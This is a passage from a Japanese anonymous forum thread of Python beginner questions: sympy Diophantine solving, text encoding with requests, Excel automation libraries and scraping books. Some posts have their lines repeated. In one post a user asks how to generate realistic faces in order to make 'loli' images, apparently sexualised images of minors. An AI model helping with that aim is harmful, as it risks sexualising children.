色々調べたけど異なる数字というのをどう表現するのかわからない、集合? FiniteSet ?
580デフォルトの名無しさん
2019/06/18(火) 17:30:18.18ID:QwXxieVT print( [list(_) for _ in ((sympy.solve((a+b+c-7, b-x, c-y), a, b, c) for x in range(100)) for y in range(100))] )
581デフォルトの名無しさん
2019/06/18(火) 18:01:48.15ID:SfhKVoXs 正の整数だったので
print( [[__ for __ in _ if __[a]>0 and __[b]>0 and __[c]>0] for _ in ((sympy.solve((a+b+c-7, b-x, c-y), a, b, c) for x in range(100)) for y in range(100))] )
print( [[__ for __ in _ if __[a]>0 and __[b]>0 and __[c]>0] for _ in ((sympy.solve((a+b+c-7, b-x, c-y), a, b, c) for x in range(100)) for y in range(100))] )
582デフォルトの名無しさん
2019/06/18(火) 18:03:43.76ID:SfhKVoXs ああ異なるもあったか
がんがれ
がんがれ
583デフォルトの名無しさん
2019/06/18(火) 18:11:26.29ID:SfhKVoXs print( [[__ for __ in _ if __[a]>0 and __[b]>0 and __[c]>0 and len(set(__.values()))==3] for _ in ((sympy.solve((a+b+c-7, b-x, c-y), a, b, c) for x in range(100)) for y in range(100))] )
584デフォルトの名無しさん
2019/06/18(火) 22:19:53.95ID:vXUKKx8C djangoでusernameをuseridに置き換えて使いたいんだけど、
これって単純にテキストエディタで
env環境のdjangoファイルのusernameを全部useridに置き換えたらいいんだろうか?
これって単純にテキストエディタで
env環境のdjangoファイルのusernameを全部useridに置き換えたらいいんだろうか?
585デフォルトの名無しさん
2019/06/19(水) 02:01:30.44ID:vbzhpePV >>583 こんなことしないといけないの? なんかスパッと出してくれるとばかり思ってた。
しかも異なる数字というのも面倒くさい。
print に空のリストが出てくるし、これはどうとでもなるけど。
でも solve の結果の変数として、a,b,c と3つ書けるのは勉強になった。 有難う。
正の整数というのは、symbols で文字列を定義するときに、integer=True , positive=True とするからチェックはいらないんだけど。ここで different=True とかあれば助かったのにな。
--------
なんか似たようなのがあった、明日ゆっくり見てみる。
https://stackoverflow.com/questions/41313116/python-sympy-solve-equations-with-different-values
linsolve とset を使うみたいだな。
plug_in_for_vars = ...
これはどういう意味? Ellipsis ? 略号? 組混み常数?
Ellipsis
The same as the ellipsis literal "...". Special value used mostly in conjunction with extended slicing syntax for user-defined container data types.
もう寝る
しかも異なる数字というのも面倒くさい。
print に空のリストが出てくるし、これはどうとでもなるけど。
でも solve の結果の変数として、a,b,c と3つ書けるのは勉強になった。 有難う。
正の整数というのは、symbols で文字列を定義するときに、integer=True , positive=True とするからチェックはいらないんだけど。ここで different=True とかあれば助かったのにな。
--------
なんか似たようなのがあった、明日ゆっくり見てみる。
https://stackoverflow.com/questions/41313116/python-sympy-solve-equations-with-different-values
linsolve とset を使うみたいだな。
plug_in_for_vars = ...
これはどういう意味? Ellipsis ? 略号? 組混み常数?
Ellipsis
The same as the ellipsis literal "...". Special value used mostly in conjunction with extended slicing syntax for user-defined container data types.
もう寝る
586デフォルトの名無しさん
2019/06/19(水) 09:39:17.88ID:7l13oIkn Unicode を生バイナリに変換するにはどうすればいいですか?
UTF8などのエンコードは不明だとした場合
UTF8などのエンコードは不明だとした場合
587デフォルトの名無しさん
2019/06/19(水) 09:44:28.84ID:7l13oIkn >>586と一緒の人ですが
もともとはエンコード不明な文書のエンコードを判定したいんですけど
そのエンコード不明な文字列がユニコードとなっていて、判定ソフトに渡すとそこで停止します
そこで生バイナリで渡す必要があるのかなと
もともとはエンコード不明な文書のエンコードを判定したいんですけど
そのエンコード不明な文字列がユニコードとなっていて、判定ソフトに渡すとそこで停止します
そこで生バイナリで渡す必要があるのかなと
588デフォルトの名無しさん
2019/06/19(水) 09:55:09.82ID:XfBh72nj Unicode文字列になった時点ですでに情報が落ちている可能性があるので
一般論として、変換前のバイナリを入手すべきだ
それでもやりたいなら
Unicode文字列が0-255のコードポイントの範囲ならlaten1でbytesに変換
その範囲外ならordでチマチマやる
一般論として、変換前のバイナリを入手すべきだ
それでもやりたいなら
Unicode文字列が0-255のコードポイントの範囲ならlaten1でbytesに変換
その範囲外ならordでチマチマやる
589デフォルトの名無しさん
2019/06/19(水) 09:55:50.28ID:7l13oIkn バイト文字列 ⇔ Unicode文字列は .encode("unicode-escape")で出来るらしいですが
動作はしたのですがアスキーと判定されました
正しく判定ができてない UTF8なのに
動作はしたのですがアスキーと判定されました
正しく判定ができてない UTF8なのに
590デフォルトの名無しさん
2019/06/19(水) 09:58:07.39ID:7l13oIkn ここが駄目ですか?
このtxtがユニコードなのですが
r = requests.get(url)
txt = r.text
このtxtがユニコードなのですが
r = requests.get(url)
txt = r.text
591デフォルトの名無しさん
2019/06/19(水) 10:01:50.44ID:7l13oIkn 解決しました
ヒントもらって調べたら生データはこっちで取れました
判定も成功です
r = requests.get(url)
txt = r.content
ヒントもらって調べたら生データはこっちで取れました
判定も成功です
r = requests.get(url)
txt = r.content
592デフォルトの名無しさん
2019/06/19(水) 12:14:56.41ID:kRHU1GSn >>585
ディオファントス方程式だからsympy.solveじゃ解けないでしょ
こっち使うべき
https://docs.sympy.org/latest/modules/solvers/diophantine.html
ディオファントス方程式だからsympy.solveじゃ解けないでしょ
こっち使うべき
https://docs.sympy.org/latest/modules/solvers/diophantine.html
593デフォルトの名無しさん
2019/06/19(水) 15:40:51.42ID:gIy8vH6x 言語なんてとっかかりは簡単そうに見えるけど、仕事でやらないと身につかない。
594デフォルトの名無しさん
2019/06/19(水) 16:45:16.79ID:hXvD76L8 やる氣スイッチ
595デフォルトの名無しさん
2019/06/19(水) 16:47:25.35ID:gIy8vH6x >>592 なんかいろんな関数があるけど便利そうな機能ですね。 有難う。
何となくわかったけどなんで関数が別れてるのか理解できない。 練習してみれば理解できるんでしょうけど、奥が深すぎる。
何となくわかったけどなんで関数が別れてるのか理解できない。 練習してみれば理解できるんでしょうけど、奥が深すぎる。
596デフォルトの名無しさん
2019/06/19(水) 18:31:23.10ID:gIy8vH6x >>595 日本語のページがあったのでさらっと見たら、やはり日本語だと理解が早い。
要は方程式のタイプにより使い分けるという話ね。
https://showa-yojyo.github.io/notebook/python-sympy/diophantine.html
https://python.atelierkobato.com/diophantine/
でも練習しないとわからないのは同じだけど。 でも結果を予測できるようにはなった。
要は方程式のタイプにより使い分けるという話ね。
https://showa-yojyo.github.io/notebook/python-sympy/diophantine.html
https://python.atelierkobato.com/diophantine/
でも練習しないとわからないのは同じだけど。 でも結果を予測できるようにはなった。
597デフォルトの名無しさん
2019/06/19(水) 19:09:24.37ID:b1RkNn/r チュートリアル読んできた方がいいよ
598デフォルトの名無しさん
2019/06/20(木) 11:28:37.71ID:ok8sRwUq jupyter上でipywidgetsを用いて、一つのスライダーを動かすと、ほかのスライダーが自動で動くようにしたい
同じ値に揃えるだけならリンクで簡単なんだけど、積が一定とか和が一定のような条件で自動で連動させる簡単な方法ってある?
同じ値に揃えるだけならリンクで簡単なんだけど、積が一定とか和が一定のような条件で自動で連動させる簡単な方法ってある?
599デフォルトの名無しさん
2019/06/20(木) 12:57:43.48ID:jU4LCfdb >>597 読んでもよくわからない。
diophantine(x+y+z-7)
# {(t0, t0+t1, -2t0-t1+7)} << この答えの中の t0 t1 に値を入れる方法は?
s=diophantine(x+y+z-7)
例題では、 何かの変数に popしてるみたいだけど
x_1 = s.pop() # 外の {} が取れるだけ (t0, t0+t1, -2t0-t1+7)
x0,y0,z0 =s.pop()
x0 # t0
y0 # t0+t1
z0 # -2t0-t1+7
t0,t1=symbols('t0 t1') # こうするとなんとなく t0,t1 は答えの中のt0,t1 に似てるみたいだけど代入はできない
t0=1
t1=1
x00=t0
y01=t0+t1
z01= -2*t0-t1+7
x00==x0 #True
y01==y0 #True
z01==z0 #True
ここからが解らない。
t0,t1=1 ,2
(t0, t0+t1, -2*t0-t1+7) # (1,3,3)
みたいに一つずつ入れていくのもバカみたいな気がする。 全ての組み合わせは出ないのかな?
diophantine(x+y+z-7)
# {(t0, t0+t1, -2t0-t1+7)} << この答えの中の t0 t1 に値を入れる方法は?
s=diophantine(x+y+z-7)
例題では、 何かの変数に popしてるみたいだけど
x_1 = s.pop() # 外の {} が取れるだけ (t0, t0+t1, -2t0-t1+7)
x0,y0,z0 =s.pop()
x0 # t0
y0 # t0+t1
z0 # -2t0-t1+7
t0,t1=symbols('t0 t1') # こうするとなんとなく t0,t1 は答えの中のt0,t1 に似てるみたいだけど代入はできない
t0=1
t1=1
x00=t0
y01=t0+t1
z01= -2*t0-t1+7
x00==x0 #True
y01==y0 #True
z01==z0 #True
ここからが解らない。
t0,t1=1 ,2
(t0, t0+t1, -2*t0-t1+7) # (1,3,3)
みたいに一つずつ入れていくのもバカみたいな気がする。 全ての組み合わせは出ないのかな?
600デフォルトの名無しさん
2019/06/20(木) 13:04:22.36ID:88lkef84 qiitaだけGoogleアドセンス広告ブロックできないけど何かやってるのかな
601デフォルトの名無しさん
2019/06/20(木) 13:24:29.88ID:qiZ0ArhZ Python関係ない独り言はママに聞いてもらえ
602デフォルトの名無しさん
2019/06/20(木) 13:41:46.39ID:ok8sRwUq 媒介変数はt_0みたいにアンダースコア付きになってる
代入できない問題は新しいxをsympify(str(x0))で文字列経由で定義してやれば出来るけど代入出来ない理由と正しいやり方は知らない
代入できない問題は新しいxをsympify(str(x0))で文字列経由で定義してやれば出来るけど代入出来ない理由と正しいやり方は知らない
603デフォルトの名無しさん
2019/06/20(木) 14:02:42.27ID:R3CNAp+/604デフォルトの名無しさん
2019/06/20(木) 14:21:50.03ID:jU4LCfdb >>603 なるほど段々わかってきた。代入もできてるみたいだね。その中の例題
from sympy import *
x, y, z = symbols("x y z")
[s] = diophantine(x*411 + y*295 + z*161 - 3200)
print(s)# (t_0, 2627*t_0 + 161*t_1 - 19200, -4816*t_0 - 295*t_1 + 35200)
t_0, t_1 = s[2].free_symbols
for t0 in range(int(35200/4816)+1): # これがミソ
for t1 in range(int(35200/295)+1): # これがミソ
sol = [expr.subs({t_0: t0, t_1: t1}) for expr in s] # 代入
if min(sol) > 0:
print(sol) # [4, 2, 6]
from sympy import *
x, y, z = symbols("x y z")
[s] = diophantine(x*411 + y*295 + z*161 - 3200)
print(s)# (t_0, 2627*t_0 + 161*t_1 - 19200, -4816*t_0 - 295*t_1 + 35200)
t_0, t_1 = s[2].free_symbols
for t0 in range(int(35200/4816)+1): # これがミソ
for t1 in range(int(35200/295)+1): # これがミソ
sol = [expr.subs({t_0: t0, t_1: t1}) for expr in s] # 代入
if min(sol) > 0:
print(sol) # [4, 2, 6]
605デフォルトの名無しさん
2019/06/20(木) 15:05:44.02ID:9IsAc6k5606デフォルトの名無しさん
2019/06/20(木) 15:06:52.46ID:jU4LCfdb 出来た。 有難うございました。
なぜか、ソースをアップできないので ideon にあげました。 sympyがインストールされていないので実行はできませんが
https://ideone.com/3jwKlB
なぜか、ソースをアップできないので ideon にあげました。 sympyがインストールされていないので実行はできませんが
https://ideone.com/3jwKlB
607デフォルトの名無しさん
2019/06/20(木) 15:17:31.22ID:9IsAc6k5 x, y, z, t_0, t_1= symbols('x y z t_0 t_1', integer=True, positive=True, nonzero=True)
ここの t_0 と t_1 は意味が無いと思う
ここの t_0 と t_1 は意味が無いと思う
608デフォルトの名無しさん
2019/06/20(木) 16:39:17.52ID:Gh9YFRfh >>607 そうそう全く意味ない、わかってたけど取るのを忘れてた。 nonezero 属性がつけられるかなと思ったんだけど、意味なかった。
むしろ、to,t1 に nonezero 属性をつければよかったのかも。 if min(sol)> 0 を無くしたかった。
今外だから試せないけど。
むしろ、to,t1 に nonezero 属性をつければよかったのかも。 if min(sol)> 0 を無くしたかった。
今外だから試せないけど。
609デフォルトの名無しさん
2019/06/20(木) 16:57:34.33ID:Gh9YFRfh >>608 t0,t1も無理だね、最後の式で 0が出てくるから
610デフォルトの名無しさん
2019/06/20(木) 19:21:11.34ID:f8C0fCZ6 プログラミングは小さいことをこつこつ続けるのがコツですか?
611デフォルトの名無しさん
2019/06/20(木) 19:28:21.47ID:PrZKlplW >>610 その通り。 小学生が算数の練習問題を沢山解いて、すぐに答えが出るようになるのと同じ。
練習、練習。
基礎ができてきたら、方程式を覚えるように次のステップに入る。 結構奥も深いから基礎をしっかりしておく方が良い。
基礎ができていないと上に進んだ時につまづく。
最初の基礎は、入門書レベルで良い。 そのレベルの問題ならカンニングしなくても8割がたサラサラ解けるようになったら次に進む。
練習、練習。
基礎ができてきたら、方程式を覚えるように次のステップに入る。 結構奥も深いから基礎をしっかりしておく方が良い。
基礎ができていないと上に進んだ時につまづく。
最初の基礎は、入門書レベルで良い。 そのレベルの問題ならカンニングしなくても8割がたサラサラ解けるようになったら次に進む。
612デフォルトの名無しさん
2019/06/20(木) 19:30:39.76ID:YlBdXsDL 大きな志を持つことが大事だと思う
613デフォルトの名無しさん
2019/06/20(木) 19:30:44.80ID:PrZKlplW なぜすぐに解ける事が重要かというと、短い時間でプログラムする事が職業プログラマーだから。
時間をかけてとくなんてのは許されない。 難しい問題に時間がかかるのは仕方ないが、基本はさらっと進まないと仕事にならない。
時間をかけてとくなんてのは許されない。 難しい問題に時間がかかるのは仕方ないが、基本はさらっと進まないと仕事にならない。
614デフォルトの名無しさん
2019/06/20(木) 19:35:05.09ID:PrZKlplW >>612 昨日、ソフトバンクグループの株主総会に参加したが、5歳の坊やがどんな勉強をしたら良いですかと聞いた時には、みんなの心が和らいだ。
孫さんは、小さい頃からどんな人になりたいか強く希望して勉強する事が大事だと言ってた。
全ては同じ。 志高く。
孫さんは、小さい頃からどんな人になりたいか強く希望して勉強する事が大事だと言ってた。
全ては同じ。 志高く。
615デフォルトの名無しさん
2019/06/20(木) 19:40:49.56ID:f8C0fCZ6 ゲーム作ります
616デフォルトの名無しさん
2019/06/20(木) 19:55:54.66ID:Gh9YFRfh >>615 坊や偉いよ。 お金を沢山稼ぐ事も志としては大事にした方が良いですよ。
お金を稼ぐことを目標にするのは汚いというようなことはないです。 お金を稼げる事業者、経営者、政治家になってください。
みたいな事を子供に対しても言ってた。 少し捻じ曲げてゲーむ開発者向けにしたけど。
お金を稼ぐことを目標にするのは汚いというようなことはないです。 お金を稼げる事業者、経営者、政治家になってください。
みたいな事を子供に対しても言ってた。 少し捻じ曲げてゲーむ開発者向けにしたけど。
617デフォルトの名無しさん
2019/06/20(木) 20:59:44.35ID:mU0qtZHy 会社経営は儲からないとやってられんが
政治家は私腹を肥やしちゃいかんだろJK
政治家は私腹を肥やしちゃいかんだろJK
618デフォルトの名無しさん
2019/06/20(木) 23:08:20.97ID:LqppmuMl sslのチャネルをtelnetとかsshに渡して踏み台を越えたいんだけど、sslモジュールってチャネルない…?
619デフォルトの名無しさん
2019/06/21(金) 00:11:36.88ID:K4Gs8FAo620デフォルトの名無しさん
2019/06/21(金) 02:49:51.71ID:FirfeIPX 5歳: ハゲない方法を教えてください
じじいのまご: 俺に聴くな
じじいのまご: 俺に聴くな
621デフォルトの名無しさん
2019/06/21(金) 09:27:59.05ID:giiP2pUy >>619
ありがとう
言葉不足だった申し訳ない
チャネルってソケットチャネルとかストリームのことなんだけどpythonではなんて呼ぶんだろう
socks5見たらプロキシサーバ側でつかうように見えたけどクライアントでも使えるか調べるわ
ありがとう
言葉不足だった申し訳ない
チャネルってソケットチャネルとかストリームのことなんだけどpythonではなんて呼ぶんだろう
socks5見たらプロキシサーバ側でつかうように見えたけどクライアントでも使えるか調べるわ
622デフォルトの名無しさん
2019/06/21(金) 10:28:26.51ID:A0zl/65r かつらで解決
623デフォルトの名無しさん
2019/06/21(金) 12:13:15.53ID:/W/rELqI >>620 坊やがそういう研究をするようになったら解決できるかもしれないね。 頑張って研究してくださいね。 その時は私の禿も直してください。
東大のAIの大御所、松尾豊がソフトバンクの社外取締役になった。
彼は Deep Learning基礎講座 と言う無料の公開講座をやってるが、これに使われてる言語も当然ながら python
東大のAIの大御所、松尾豊がソフトバンクの社外取締役になった。
彼は Deep Learning基礎講座 と言う無料の公開講座をやってるが、これに使われてる言語も当然ながら python
624デフォルトの名無しさん
2019/06/21(金) 12:37:11.04ID:A0zl/65r 最近は普通に生えてくるよ。高いけど
625デフォルトの名無しさん
2019/06/21(金) 12:49:35.49ID:ccGFPOu0 >>623
Eテレの 人間ってナンだ?超AI入門 に出てる人やね
Eテレの 人間ってナンだ?超AI入門 に出てる人やね
626デフォルトの名無しさん
2019/06/21(金) 13:29:17.27ID:d4iVVWqK >>623
東大生じゃないと応募できませんてなってんだけど…?
東大生じゃないと応募できませんてなってんだけど…?
627デフォルトの名無しさん
2019/06/21(金) 14:03:42.17ID:/W/rELqI628デフォルトの名無しさん
2019/06/21(金) 14:26:03.47ID:VfQW8lcY 金儲けが汚いことではないが金は何かを手に入れるための手段でしかないので
金儲けそのものを最終目的にしているような人は人間として浅いというかつまらないことが多い
金儲けそのものを最終目的にしているような人は人間として浅いというかつまらないことが多い
629デフォルトの名無しさん
2019/06/21(金) 14:34:36.93ID:/W/rELqI >>628 金融会社は金儲けのみで生きてますけど。 企業を助けるとか言っててもそれは綺麗事。
そのような言い訳をする人間は心の狭い人間。 金に引け目を感じてるともいえる。
最終目的は自分が生きていればいいんだよ。 自分の命にかかわりがなければ他人はどうでも良い。 これが本音だろ。
命の値段は人それぞれに違う。
そのような言い訳をする人間は心の狭い人間。 金に引け目を感じてるともいえる。
最終目的は自分が生きていればいいんだよ。 自分の命にかかわりがなければ他人はどうでも良い。 これが本音だろ。
命の値段は人それぞれに違う。
630デフォルトの名無しさん
2019/06/21(金) 15:10:41.15ID:HK0kbqVP >>625
チーフプロデューサーが強制猥褻で逮捕された番組?
チーフプロデューサーが強制猥褻で逮捕された番組?
631デフォルトの名無しさん
2019/06/21(金) 15:19:05.41ID:/W/rELqI632デフォルトの名無しさん
2019/06/22(土) 06:42:11.81ID:lmjByctT やっぱりプロデューサーは別の人間だった。 あっちの方は配信停止になったけど、こっちは続いてる。
633デフォルトの名無しさん
2019/06/23(日) 07:39:13.37ID:4lSN7b3Y pythonでリアルな顔を作りたいのですが、どの辺を参考にしたらいいですか?
ロリ画像作りたいだけなんですけどね、、、
ロリ画像作りたいだけなんですけどね、、、
634デフォルトの名無しさん
2019/06/23(日) 08:24:43.74ID:XGH9w/fa635デフォルトの名無しさん
2019/06/23(日) 09:01:05.07ID:4lSN7b3Y636デフォルトの名無しさん
2019/06/23(日) 10:57:15.50ID:NJ0BedP7 excel vbaをかじったことのあるの未熟なプログラマです。
excel とかcsvなどファイルを扱うことが多いので、繰り返されるパターンはexcel vbaで自動化して時短に活かしています。
自動化関連に興味あり、自分の持っている武器がexcel vbaだけでは心もとないので
新たな技術要素としてPowershell、pythonのどちらかにするかで悩み検討中です。
この半年で習得して半年後には実業務に活かしたい。pythonはexcelとの親和性があると考えてまして
excel vbaで実現が難しいことをpythonで実現がたやすいケースがあるかも、と思ってます。
質問ですが、excelとの親和性は高いですか?
ptyhonの入門サイトをみててすごいと思ったのが、変数の削除機能。
dell 変数
こんな感じで変数を削除、すなわちメモリから強制的に開放してくれる。
C言語だと、一度宣言したら終了するまでずっとメモリに常駐されるんですよね。この差は大きいと思いました。
excel とかcsvなどファイルを扱うことが多いので、繰り返されるパターンはexcel vbaで自動化して時短に活かしています。
自動化関連に興味あり、自分の持っている武器がexcel vbaだけでは心もとないので
新たな技術要素としてPowershell、pythonのどちらかにするかで悩み検討中です。
この半年で習得して半年後には実業務に活かしたい。pythonはexcelとの親和性があると考えてまして
excel vbaで実現が難しいことをpythonで実現がたやすいケースがあるかも、と思ってます。
質問ですが、excelとの親和性は高いですか?
ptyhonの入門サイトをみててすごいと思ったのが、変数の削除機能。
dell 変数
こんな感じで変数を削除、すなわちメモリから強制的に開放してくれる。
C言語だと、一度宣言したら終了するまでずっとメモリに常駐されるんですよね。この差は大きいと思いました。
637デフォルトの名無しさん
2019/06/23(日) 11:04:56.44ID:WPP93Y3m 突っ込みたいところは色々あるが、まず、Excelとの相性は「気にしない」という姿勢が正解
Pythonなど他の言語からExcelを操作しようなどとは絶対に考えず、CSVを経由することだ
それで満たせない要件はきっぱり捨てなさい
それができないならVBAへ帰ったほうが幸せになれる
Pythonなど他の言語からExcelを操作しようなどとは絶対に考えず、CSVを経由することだ
それで満たせない要件はきっぱり捨てなさい
それができないならVBAへ帰ったほうが幸せになれる
638デフォルトの名無しさん
2019/06/23(日) 11:20:52.14ID:NJ0BedP7 pythonとの親和性は高くないと読みとれました。
excel以外で、ptyhonが役立つケースがないか、もう少しネットでググってみます。。
excel以外で、ptyhonが役立つケースがないか、もう少しネットでググってみます。。
639デフォルトの名無しさん
2019/06/23(日) 11:31:40.14ID:HeOsQws8 >>637 そんなデタラメ教えるな。
直接Excel のカラムを操作できるよ。
>>638 惑わされるな。 Microsoft でさえVBA の代わりにPython を使う検討をしたくらいなんだぞ。
検討結果は、既にPython だけで実現できてるから当面やらないことにしたと言う結論。
https://qiita.com/yniji/items/b38bc312e860027108ac
Python を使いたいのであれば PyXLL か xlwings を使え
Excel で Python を使いたいのならば、xlwings を使いましょう。
直接Excel のカラムを操作できるよ。
>>638 惑わされるな。 Microsoft でさえVBA の代わりにPython を使う検討をしたくらいなんだぞ。
検討結果は、既にPython だけで実現できてるから当面やらないことにしたと言う結論。
https://qiita.com/yniji/items/b38bc312e860027108ac
Python を使いたいのであれば PyXLL か xlwings を使え
Excel で Python を使いたいのならば、xlwings を使いましょう。
640デフォルトの名無しさん
2019/06/23(日) 11:37:33.87ID:Nf7qH5S+ 主にクローラーの作成をしたくてこれから学ぼうとしているところです。JSを習得しています。
学ぶに当たって2つの書籍、
・オライリーの「入門Python3」
・「Pythonクローリング&スクレイピング -データ収集・解析のための実践開発ガイド」
の購入を考えているのですが、後者は8月に増補改訂版が発売されるらしく…
古い方を買って自分で情報の補完ができるか心掛かりがあります。
書籍のチョイスはこれで大丈夫でしょうか。
諸先輩方よろしくおねがいします。
学ぶに当たって2つの書籍、
・オライリーの「入門Python3」
・「Pythonクローリング&スクレイピング -データ収集・解析のための実践開発ガイド」
の購入を考えているのですが、後者は8月に増補改訂版が発売されるらしく…
古い方を買って自分で情報の補完ができるか心掛かりがあります。
書籍のチョイスはこれで大丈夫でしょうか。
諸先輩方よろしくおねがいします。
641デフォルトの名無しさん
2019/06/23(日) 11:38:22.06ID:HeOsQws8 openpyxl 等こられのライブラリーは、Excelファイルを操作するものです。
一方、xlwings は、ファイルではなくて Excel そのものを操作するライブラリーです。
それで、xlwings を使うためには、同じマシン内に Excel がインストールされている必要があります。
そのため、xlwings は Linux では使うことができません。
xlwings の処理は遅いので、Python で Excel の帳票を作りたい場合には openpyxl を使った方がいいです。
一方、xlwings は、ファイルではなくて Excel そのものを操作するライブラリーです。
それで、xlwings を使うためには、同じマシン内に Excel がインストールされている必要があります。
そのため、xlwings は Linux では使うことができません。
xlwings の処理は遅いので、Python で Excel の帳票を作りたい場合には openpyxl を使った方がいいです。
642デフォルトの名無しさん
2019/06/23(日) 12:10:47.67ID:vVd52qKZ >>636
そのC言語の理解は間違っているから、とりあえずCについては全く分かってないとだけ覚えておけばいいよ
そのC言語の理解は間違っているから、とりあえずCについては全く分かってないとだけ覚えておけばいいよ
643デフォルトの名無しさん
2019/06/23(日) 12:28:18.95ID:tj+4/1Fq 入門Python3は、Second Editionが本国でEarly Access版が最近出たぞ
644デフォルトの名無しさん
2019/06/23(日) 12:37:09.36ID:HeOsQws8 入門Python3 は言語経験者じゃないと難しいと思うから、適当な他の入門書から入った方が良いと思う。
ネットに転がってるので良いと思うけどな。
また、入門Python3 の内容は公式ドキュメントとほぼ同じ。
https://docs.python.org/ja/3/
これのチュートリアルを見てごらん。
ネットに転がってるので良いと思うけどな。
また、入門Python3 の内容は公式ドキュメントとほぼ同じ。
https://docs.python.org/ja/3/
これのチュートリアルを見てごらん。
645デフォルトの名無しさん
2019/06/23(日) 12:39:07.07ID:HeOsQws8 公式ドキュメントは常に最新だから、他の本を読んでてもここに立ち返るのが基本。
646デフォルトの名無しさん
2019/06/23(日) 12:40:08.14ID:fwFAut7X スクレイピング、ブラウザの自動操作などは、
Ruby, Selenium WebDriver, Nokogiri で十分!
CSV も、モジュールがある。
これで、CSV ファイルを、1行ずつ処理できる
CSV.foreach( "a.csv" ) { 処理 }
Ruby, Selenium WebDriver, Nokogiri で十分!
CSV も、モジュールがある。
これで、CSV ファイルを、1行ずつ処理できる
CSV.foreach( "a.csv" ) { 処理 }
647デフォルトの名無しさん
2019/06/23(日) 15:41:12.01ID:WmqFlq0W >>642
main関数内で宣言した変数はプログラムが終了するまでメモリに残るのでは?
main関数内で宣言した変数はプログラムが終了するまでメモリに残るのでは?
648デフォルトの名無しさん
2019/06/23(日) 15:52:19.07ID:HATKZ56c プログラムが終了した後も解放されたり上書きされるまでは残ってるかも知れません
649デフォルトの名無しさん
2019/06/23(日) 15:55:36.65ID:gZ9ZlUoq >>647
mallocしてfreeすれば残らない
mallocしてfreeすれば残らない
650デフォルトの名無しさん
2019/06/23(日) 16:01:37.16ID:XGH9w/fa >>640
既になんか言語修めてるならSelenium、ヘッドレスブラウザ、
BeautifulSoup4でググればいくらでも情報出てくるから
それで問題ないと思うで。
書籍の方も、多少古くてもPython3用であればあんまし
変わらないのではないか。
自分はネットだけで色々やってるから実際はどうだかわからんけど。
既になんか言語修めてるならSelenium、ヘッドレスブラウザ、
BeautifulSoup4でググればいくらでも情報出てくるから
それで問題ないと思うで。
書籍の方も、多少古くてもPython3用であればあんまし
変わらないのではないか。
自分はネットだけで色々やってるから実際はどうだかわからんけど。
651デフォルトの名無しさん
2019/06/23(日) 16:03:47.66ID:0sdWkE2M そもそも Python の dell の実装自体C言語で書かれてるのに何を言ってるのって感じですね
652デフォルトの名無しさん
2019/06/23(日) 16:14:33.15ID:bhc2V1zC >>651 お前は何を言ってるのかわかってるのか? そんなこと言ったら全ての高級言語はアセンプラで書かれてることになるんだが?
馬鹿なことは言うな。
馬鹿なことは言うな。
653デフォルトの名無しさん
2019/06/23(日) 17:34:06.80ID:0sdWkE2M 最初の言語実装として書かれたのが cpython なんだから、dell は一番最初にC言語で書かれてるだろ
知る限りじゃアセンブリで書かれたpythonの実装はない
元をたどればとかそういう次元の話してないし、dell 相当の機能が C言語にないんじゃなかって言う話でしょそもそも
話の流れ見れてないのかなんなのか
知る限りじゃアセンブリで書かれたpythonの実装はない
元をたどればとかそういう次元の話してないし、dell 相当の機能が C言語にないんじゃなかって言う話でしょそもそも
話の流れ見れてないのかなんなのか
654デフォルトの名無しさん
2019/06/23(日) 18:06:49.69ID:q/+ohx0h 本人も未熟だと言ってんだからマウントすんなし
655デフォルトの名無しさん
2019/06/23(日) 18:30:46.53ID:XGH9w/fa656デフォルトの名無しさん
2019/06/23(日) 18:50:13.00ID:G5HiCFKb ニモニック
アセンブリ言語
アセンブリ言語
657デフォルトの名無しさん
2019/06/23(日) 19:58:12.46ID:gzhLgRT0 ブとプを打ち間違えるかな...と思ったけど、かな入力やスマホとかなら間違えやすいか
658デフォルトの名無しさん
2019/06/23(日) 19:58:33.62ID:0sdWkE2M お前ら、俺が dell ってずっと書いてることにはつっこまないの?
そうだよ、俺も python の事なんて何も知らないよ
python に詳しかったらこんなスレ覗かない
何も知らないのにマウントとって知ったような口聞いてるだけ
マウントとった後、調べてみて、自分が変な事言ってたり間違ってたらそのままフェードアウトだよ
どうせお前らもそんなやつらばっかりなんだろ?お互い気をつけような
そうだよ、俺も python の事なんて何も知らないよ
python に詳しかったらこんなスレ覗かない
何も知らないのにマウントとって知ったような口聞いてるだけ
マウントとった後、調べてみて、自分が変な事言ってたり間違ってたらそのままフェードアウトだよ
どうせお前らもそんなやつらばっかりなんだろ?お互い気をつけような
659デフォルトの名無しさん
2019/06/23(日) 21:17:00.03ID:y6ASwhYu 生ゴミガイジはママとだけ喋ってろ
660デフォルトの名無しさん
2019/06/23(日) 22:38:04.02ID:kmyAfJoF requestsでbitflyerにつないでAPIをとってきてjson見た
何故かbigfly略と言いたくなって
ついでにMLBのstatscastを見てきたがこっちはjsで塞いであった
何故かbigfly略と言いたくなって
ついでにMLBのstatscastを見てきたがこっちはjsで塞いであった
661デフォルトの名無しさん
2019/06/23(日) 22:54:57.27ID:AhEnqdaS PyCharmのAvailable Pacagesからmutagenというmoduleをinstallしたいんだけど表示されない
どうやったらこのモジュール使えるの?初心者でごめん
開発環境はWin 10, Pycharmは最新ver.
どうやったらこのモジュール使えるの?初心者でごめん
開発環境はWin 10, Pycharmは最新ver.
662640
2019/06/24(月) 00:19:54.70ID:ggsL2S1m 皆様ありがとうございます。
あまり新刊にこだわらず選ぼうと思います。
一つ確認なんですけども、公式docと内容が同じというのは「入門Python3」であってますか?
同じオライリー本でPythonの開発者の人が書いてる書籍があるのですが、そっちではないですよね。
あまり新刊にこだわらず選ぼうと思います。
一つ確認なんですけども、公式docと内容が同じというのは「入門Python3」であってますか?
同じオライリー本でPythonの開発者の人が書いてる書籍があるのですが、そっちではないですよね。
663デフォルトの名無しさん
2019/06/24(月) 00:25:55.07ID:cZwk7TNc >>651
pythonの闇を語る者に呪いあれ
pythonの闇を語る者に呪いあれ
664デフォルトの名無しさん
2019/06/24(月) 01:30:51.03ID:oP64UM4n665デフォルトの名無しさん
2019/06/24(月) 02:39:59.51ID:m6E10iHP666デフォルトの名無しさん
2019/06/24(月) 04:08:53.69ID:BNnw42OK 165,124
というvector2座標がある場合
200,100
というふうに変換してくれる関数みたいなものはあるでしょうか?
切りのいい数字に四捨五入するようなものです
というvector2座標がある場合
200,100
というふうに変換してくれる関数みたいなものはあるでしょうか?
切りのいい数字に四捨五入するようなものです
667デフォルトの名無しさん
2019/06/24(月) 07:29:32.45ID:5/afZCLu668デフォルトの名無しさん
2019/06/24(月) 08:11:18.08ID:gvIH4051 roundは厳密に四捨五入じゃない云々は置いといて
